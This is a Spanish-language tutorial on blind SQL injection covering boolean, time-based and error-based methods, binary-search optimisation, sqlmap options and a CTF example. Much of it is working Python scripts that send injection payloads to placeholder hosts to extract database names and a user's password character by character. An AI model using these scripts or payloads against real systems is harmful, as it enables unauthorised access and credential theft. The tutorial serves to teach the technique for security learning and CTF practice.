Introducción a la Inyección SQL Ciega
En escenarios donde las aplicaciones web no exponen errores de bases de datos ni resultados visibles de consultas, las técnicas convencionales como la inyección por errores o UNION son inviables. Aquí es donde la inyección ciega permite la extracción de datos a través de análisis indirectos, basados en diferencias sutiles en el comportamiento del servidor.
Inyección Basada en Respuestas Booleanas
Este método se fundamenta en manipular consultas SQL para que la página web reaccione de manera distinta ante condiciones verdaderas o falsas. Por ejemplo, una condición verdadera podría mostrar contenido estándar, mientras que una falsa generaría una respuesta vacía o un error.
Funciones esenciales incluyen ASCII() para convertir caracteres a códigos numéricos, SUBSTR() para segmeentar cadenas, y LENGTH() para determinar longitudes.
Para obtener el nombre de una base de datos, primero se estima su longitud probando valores incrementales, y luego se identifica cada carácter a través de comparaciones de código ASCII.
Implementación con Scripts
import requests
def hallar_tamano_bd():
for tamano in range(1, 21):
url_consulta = f"http://servidor.com/?id=1' AND LENGTH(database())={tamano}--"
respuesta = requests.get(url_consulta)
if "válido" in respuesta.text:
return tamano
return None
def descifrar_nombre_bd(tamano):
nombre_parcial = ""
for indice in range(1, tamano + 1):
for valor_ascii in range(32, 127):
inyeccion = f"' AND ASCII(SUBSTR(database(),{indice},1))={valor_ascii}--"
url_final = f"http://servidor.com/?id=1{inyeccion}"
respuesta = requests.get(url_final)
if "válido" in respuesta.text:
nombre_parcial += chr(valor_ascii)
break
return nombre_parcial
Inyección Basada en Retrasos Temporales
Cuando las respuestas booleanas no son distinguibles, se recurre a la inyeción temporal usando funciones como SLEEP() en MySQL o WAITFOR DELAY en MSSQL. Un retraso medible indica que la condición evaluada es verdadera.
Esta técnica es ideal para entornos con respuestas estandarizadas, donde el tiempo de procesamiento se convierte en el canal de información.
Ejemplo de Script para Extracción Temporal
import requests
import time
def inyeccion_temporal():
datos_extraidos = ""
for posicion in range(1, 10):
for codigo in range(32, 127):
payload_temporal = f"' AND IF(ASCII(SUBSTR(database(),{posicion},1))={codigo},SLEEP(4),0)--"
url_objetivo = f"http://servidor.com/?id=1{payload_temporal}"
inicio = time.time()
requests.get(url_objetivo)
if time.time() - inicio >= 4:
datos_extraidos += chr(codigo)
break
return datos_extraidos
Inyección Mediante Manipulación de Errores
Si la aplicación expone mensajes de error detallados, se pueden emplear funciones como EXTRACTVALUE() o UPDATEXML() en MySQL para inyectar consultas y extraer datos a través de las respuestas de error.
Por ejemplo, usar CONCAT() con delimitadores especiales puede revelar información como versiones o nombres de tablas.
Optimización con Búsqueda Binaria
Para mejorar la eficiencia en la adivinación de caracteres, se aplica búsqueda binaria. Esto reduce el número de comparaciones por carácter de 127 a aproximadamente 7, acelerando significativamente el proceso de extracción.
Script Optimizado
def busqueda_binaria_consulta(consulta_sql):
resultado_final = ""
for i in range(1, 50):
limite_inferior, limite_superior = 32, 127
while limite_inferior <= limite_superior:
punto_medio = (limite_inferior + limite_superior) // 2
payload_binario = f"' AND ASCII(SUBSTR(({consulta_sql}),{i},1))>{punto_medio}--"
url_prueba = f"http://servidor.com/?id=1{payload_binario}"
respuesta = requests.get(url_prueba)
if "válido" in respuesta.text:
limite_inferior = punto_medio + 1
else:
limite_superior = punto_medio - 1
if limite_superior >= 32:
resultado_final += chr(limite_superior)
else:
break
return resultado_final
Uso de Herramientas Automatizadas
Herramientas como sqlmap simplifican la explotación de inyecciones ciegas. Con opciones dedicadas, se pueden especificar técnicas booleanas (--technique=B) o temporales (--technique=T) para adaptarse al entorno objetivo.
Parámetros como --level y --risk ajustan la profundidad y agresividad de las pruebas, mientras que --tamper permite aplicar scripts de evasión.
Caso Práctico en Desafíos CTF
En competencias de seguridad, un desafío típico implica extraer credenciales a través de inyección ciega. Por ejemplo, si la aplicación solo indica si un usuario existe, se puede iterar sobre caracteres para determinar la contraseña.
import requests
def extraer_contrasena_usuario():
contrasena = ""
for idx in range(1, 33):
for val in range(32, 127):
payload_ctf = f"admin' AND ASCII(SUBSTR(password,{idx},1))={val}--"
url_ctf = f"http://desafio.com/?username={payload_ctf}"
respuesta = requests.get(url_ctf)
if "User exists" in respuesta.text:
contrasena += chr(val)
break
return contrasena